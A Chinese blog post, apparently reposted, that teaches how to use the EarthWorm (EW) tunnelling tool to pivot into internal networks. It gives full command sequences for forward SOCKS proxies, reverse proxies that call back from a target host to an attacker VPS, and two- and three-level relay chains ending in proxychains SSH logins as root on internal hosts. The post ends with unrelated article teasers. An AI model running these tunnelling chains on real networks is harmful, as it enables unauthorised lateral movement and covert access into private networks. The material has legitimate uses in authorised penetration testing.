EW内网穿透详解!

news2024/11/13 10:08:16

EW

EW又叫earthworm,是一套便捷式的网络穿透工具,具有socks5服务架构和端口转发两大核心功能,可以在复杂的网络环境下完成网络穿透。该工具能以"正向","反向","多级级联"等方式打通一条网络隧道,直达网络深处,可以适用于不同的操作系统,Linux、windows、macos、arm-linux均包括在内,可以跨平台使用,任何平台都可以轻松使用。

下载地址https://github.com/idlefire/ew/archive/refs/heads/master.zip

下面对该攻击进行一个介绍:

该工具一共有6中命令格式ssocksd、rcsocks、rssocks、lcx_slave、lcs_listen、lcx_tran,正向连接的命令是ssocksd,反向连接的命令是rcsocks和rssocks

我们先去理解一下正向代理和反向代理的区别。

正向代理:

主动通过代理访问目标主机,即攻击主机-->目标主机

反向代理:

目标主机通过代理进行主动连接,即目标主机-->攻击主机

正向代理

  • 正向连接需要目标主机有一个公网的ip,或者说攻击主机能访问到目标主机(如果做一个内网的渗透测试可以使用)

ew -s ssocksd -l 1080 (在本地的1080端口上开启socks服务) 这一点利用本地1080端口即可访问到目标主机的服务

-s 设置状态模式

-l 设置监听端口

.\ew_for_linux64 -s ssocksd -l 1080

反向代理

反向代理适用于目标主机没有公网ip地址的情况,或者是目标主机不出网,这时就需要一个vps(或者是一个共网服务器)。

  • 在vps上进行命令

ew -s rcsocks -l 1080 -e 4444(将1080端口接受到的数据转发到4444端口上)

-e 设置反弹主机端口

./ew_for_linux64 -s rcsocks -l 1080 -e 4444

  • 在目标主机上执行命令

ew -s rssocks -d vps_ip -e 4444(在本地开启socks服务,并且反弹到vps的4444端口上)

-d 设置反弹主机 IP

./ew_for_Win.exe -s rssocks -d 公网ip -e 4444

这里如果代理建立成功,可以在vps上看到rssocks cmd_socket OK!的提示

然后使用vps的1080端口可以访问掉目标主机的内网了。

这里给一个拓扑图来提供一个思路!

这是拓扑图

这里解释,139作为我的公网服务器,192作为web服务器,可以通过ew将内网的服务映射出来

服务器

./ew_for_linux64 -s rcsocks -l 1080 -e 4444

本地内网web服务器

.\ew_for_linux64 -s rssocks -d 139.9.*.* -e 4444 (这里由于是服务器,所以需要对防火墙策略进行修改!)

二级网络环境

(1)

  • 这么一种环境,目标A有2个网卡,一个内网,一个外网,但是这个主机只能访问内网的B不能访问其他的资源,而内网主机B不能出外网,但是可以访问其他的内网资源。(那如果这里可以得到这台主机的权限,就可以使用ew进行二级跳板访问到内网的资源。)

具体的跳板是这样的:

A-->B-->内网资源

  • 在内网主机B上面,开启正向连接代理

ew -s ssocksd -l 4444(在本机开启4444端口)

.\ew_for_linux64 -s ssocksd -l 4444

  • 在内网主机A上面,进行端口转发

ew -s lcx_tran -l 1080 -f hostB_ip -g 4444

./ew_for_linux64 -s lcx_tran -l 1080 -f 内网主机 -g 4444(这样就将内网主机的4444端口转发到A的1080端口上) 通过A的1080可以访问内网的socks代理了

拓扑图:

使用机器A直接远程登录内网

B:ew_for_Win.exe -s ssocksd -l 4444

A:./ew_for_linux64 -s lcx_tran -l 1080 -f 192.168.12.12 -g 4444

配置proxychains文件使用本地的1080即可远程ssh登录

proxychains ssh root@10.10.20.18

(2)

  • 在上面的环境中,如果A主机没有公网ip地址,这个时候就需要反向连接,需要一个vps

vps-->内网主机A--->内网主机B--->内网资源

  • 在vps上

ew -s lcx_listen -l 1080 -e 4444

./ew_for_linux64 -s lcx_listen -l 1080 -e 4444(将1080接受的代理请求转发到4444端口上)

  • 在内网主机B上

ew -s ssocksd -l 5555 

.\ew_for_Win.exe -s ssocksd -l 5555(开启5555端口,正向代理)

  • 在内网主机A上面

ew -s lcx_slave -d vps_ip -e 4444 -f hostB_ip -g 5555

./ew_for_linux64 -s lcx_slave -d vps_IP -e 4444 -f 内网主机ip -g 5555(将vps的4444端口和内网主机的5555端口连接起来)

通过vps的1080端口可以访问到内网主机A在访问B然后访问内网资源。

由于和上面一个思路一样只是使用一个公网服务器做一个跳板机,所以这里不给图了!

三级网络环境

内网主机A没有公网IP不能访问内网资源,但是可以访问外网和内网主机B,内网主机B不能访问外网和内网资源,但是可以和A、C相互访问,内网主机C能访问内网资源,但是只能和内网主机B相互访问,因此如果想访问到内网资源就需要做三层跳板。

vps-->内网主机A=->内网主机B-->内网主机c

  • 在公网vps上面,将1080端口接受到的代理请求转发到4444端口上

ew -s rcsocks -l 1080 -e 4444

./ew_for_linux64 -s rcsocks -l 1080 -e 4444

  • 在内网主机A上面,将vps的4444端口和内网主机的5555端口连接起来

ew -s lcx_slave -d vps_ip -e 4444 -f hostB_ip -g 5555

./ew_for_linux64 -s lcx_slave -d vpsIP -e 4444 -f 内网b -g 5555

  • 在内网主机B上,将5555端口收到的代理请求转发到6666端口上

ew -s lcx_listen -l 5555 -e 6666

.\ew_for_Win.exe -s lcx_listen -l 5555 -e 6666

  • 在内网主机C上面,启动socks5代理,并且反弹到B主机的6666端口上

ew -s rssocks -d B主机 -e 6666

.\ew_for_Win.exe -s rssocks -d B主机 -e 6666

这样通过vps的1080端口就可以访问到内网C的资源了

这里给一个拓扑图

这里使用公网的机器可以直接远程登录c就是最终的目的:

公网机器:./ew_for_linux64 -s rcsocks -l 1080 -e 4444

A:ew_for_Win.exe -s lcx_slave -d 192.168.12.20 -e 4444 -f 10.10.10.18 -g 5555

B:ew_for_Win.exe -s lcx_listen -l 5555 -e 6666

C:./ew_for_linux64 -s rssocks -d 10.10.20.16 -e 6666

配置proxychains文件使用本地的1080即可远程ssh登录

proxychains ssh root@10.10.20.17

这里由于是内网的环境,我们主动去连接的时候是不会成功的所以只能使用rssocks和rcsocks来反向连接,让他们主动连接我们!

总结:

希望以上内容对各位师傅们有所帮助~~!!

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/2148721.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

数据结构之线性表——LeetCode:67. 二进制求和,27. 移除元素,26. 删除有序数组中的重复项

67. 二进制求和 题目描述 67. 二进制求和 给你两个二进制字符串 a 和 b ,以二进制字符串的形式返回它们的和。 运行代码(javaC) class Solution {public String addBinary(String a, String b) {StringBuilder ansnew StringBuilder();int ca0;for(i…

数据库基础知识---------------------------(3)

MYSQL的索引 用于快速找出在某个列中有一特定值的行,不使用索引,MySQL必须从第一条记录开始读完整个表,直到找出相关的行。按实现方式分为Hash索引和BTree索引 单列索引 普通索引 允许在定义索引的列中插入重复值和空值唯一索引 索引列的值必…

凸多边形(Convex Polygon)

凸多边形是边为直边且不向内折叠的特殊形状。连接凸多边形角的所有线都位于形状内部。凸多边形的角始终指向外部。所有边和角都相等的正多边形始终是凸多边形。 如果封闭形状具有曲面,则它不是凸多边形。在几何学中,多边形是具有直边和直角的平面二维形状…

Github 2024-09-20 Java开源项目日报Top10

根据Github Trendings的统计,今日(2024-09-20统计)共有10个项目上榜。根据开发语言中项目的数量,汇总情况如下: 开发语言项目数量Java项目10Kotlin项目1Python项目1JavaGuide - Java 程序员学习和面试指南 创建周期:2118 天开发语言:Java协议类型:Apache License 2.0Star…

二叉树(下)

目录 判断树是否相同 判断树是不是另一棵树的子树 二叉树翻转 判断平衡二叉树 二叉树层序遍历 这篇主要提供一些关于二叉树例题的讲解,如果对二叉树及其基本操作有疑问的可以转至: 二叉树(上)-CSDN博客二叉树(中&…

imo云办公室 Imo_DownLoadUI.php 任意文件下载漏洞复现

0x01 漏洞描述: imo云办公室由上海易睦网络科技有限公司于2007年创立,总部位于上海,imo云办公室管理运营企业即时通讯平台imo,包括对imo的在线支持,故障处理,客户服务等,对imo进行持续研发&…

第五届“马栏山杯”国际音视频算法大赛创新应用赛投票环节正式启动啦!

本次大赛分为专业奖和大众人气奖。专业奖由评委直接选出。大众人气奖经组委会初筛后选出62组优秀作品,由网络投票选出40名获奖选手! 快快戳链接🔗:https://h5.shuziwenbo.cn/challenge/vote?cxidedcrfv看看自己的作品有没有入选吧…

【AI视频】Runway Gen-2:图文生视频与运动模式详解

博客主页: [小ᶻZ࿆] 本文专栏: AI视频 | Runway 文章目录 💯前言💯仅图片生成视频方法一:通过Midjourney生成图片方法二:通过Runway预览生成图片注意点 💯图加文生成视频方式一:Midjourney…

Web端云剪辑解决方案,BS架构私有化部署,安全可控

传统视频制作流程繁琐、耗时,且对专业设备和软件的高度依赖,常常让企业望而却步,美摄科技凭借其强大的技术实力和创新能力,推出了面向企业用户的Web端云剪辑解决方案,为企业提供一站式、高效、便捷的视频生产平台。 B…

计算机考研408-计算机网络

【题33】下列选项中,不属于网络体系结构所描述的内容是() A.网络的层次 B.每一层使用的协议 C.协议的内部实现细节 D.每一层必须完成的功能 解析: 本题考查的是网络体系结构相关的概念。 图1描述了网络的7层架构以及每一层所要完成…

无人机 PX4 飞控 | EKF 使用传感器汇总与添加传感器方法

无人机 PX4 飞控 | EKF 使用传感器汇总与添加传感器方法 前言飞控自带基本传感器IMU磁力计气压计静态气压位置误差校正气压计偏压补偿 高度传感器测距仪使能测距仪融合有条件 可额外配置的传感器光流外部视觉系统 新传感器确定传感器类型和接口更新硬件定义添加驱动更新EKF 前言…

MySQL:事务的ACID特性隔离级别脏读、不可重复读、幻读、Next-Key锁——场景复现

目录 1、什么是事务 2、 事务的ACID特性 2.1 事务的隔离性 3、为什么要使用事务? 4、查看支持事务的存储引擎 5、使用事务 5.1 控制事务 5.1.1 开启事务 5.1.2 关闭事务 5.2 开始一个事务,执行修改后回滚 5.3 开始一个事务,执行修…

观后感:《中国数据库前世今生》——时代变迁中的数据库崛起

最近观看了《中国数据库前世今生》纪录片,这部影片详细梳理了从1980年代至今,中国数据库技术发展的跌宕历程。作为一名程序员,这部纪录片让我不禁感慨数据库技术的飞速进步,也让我更深入地理解了数据库技术在我们日常生活中的重要…

如何借助项目管理系统实现审批流程的自动化与标准化?

在快节奏的项目申报领域中,繁琐的审批流程往往成为制约项目推进速度的瓶颈。传统的人工审批方式不仅耗时耗力,还容易因人为因素导致审批效率低下、结果不一致等问题。为此,一款能够支持在线审批流程、实现审批自动化与标准化的项目管理系统显…

Canal+RabbitMQ数据同步环境配置

Canal 是阿里巴巴开发的开源工具,主要用于解析 MySQL 的 binlog 日志,从而实现数据同步。Canal 会模拟 MySQL 从库的协议,订阅主库的 binlog,从而获取数据库的变更信息。 将 Canal 解析到的 MySQL 数据库变更消息通过 RabbitMQ 分…

算法打卡 Day34(贪心算法)-分发饼干 + 摆动序列 + 最大子序和

文章目录 理论基础Leetcode 455-分发饼干题目描述解题思路类似题目2410-运动员和训练师的最大匹配数 Leetcode 376-摆动序列题目描述解题思路 Leetcode 53-最大子序和题目描述解题思路 理论基础 贪心算法的本质是选择每一阶段的局部最优,从而达到全局最优。 贪心算…

力扣718-最长重复子数组(Java详细题解)

题目链接:718. 最长重复子数组 - 力扣(LeetCode) 前情提要: 因为本人最近都来刷dp类的题目所以该题就默认用dp方法来做。 dp五部曲。 1.确定dp数组和i下标的含义。 2.确定递推公式。 3.dp初始化。 4.确定dp的遍历顺序。 5…

【CMake】使用CMake在Visual Studio内构建多文件夹工程

一、配置准备 打开VIsual Studio,载入写好的 C M a k e l i s t s . t x t CMakelists.txt CMakelists.txt,在项目中添加以下文件: 创建一个文件夹 f u n c s funcs funcs,里面放入 f u n c . h func.h func.h、 f u n c . c p …

fmql之驱动程序编写(首次)

看了正点原子的zynq系列的Linux开发指南(pdf和视频均有),因此从最简单的程序开始。 驱动程序开发:(第四期视频) 第3.1讲 我的第一个Linux驱动-字符设备驱动框架_哔哩哔哩_bilibili 学习驱动程序编写之前&am…

【论文串烧】多媒体推荐中的模态平衡学习 | 音视频语音识别中丢失导致的模态偏差对丢失视频帧鲁棒性的影响

文章目录 一、多媒体推荐中的模态平衡学习1.1 研究背景1.2 解决问题1.3 实施方案1.4 文章摘要1.5 文章重点1.6 文章图示图 1:不同模型变体在 AmazonClothing 数据集上的初步研究图 2:CKD模型架构的说明图 3:在 Amazon-Clothing 数据集上训练过…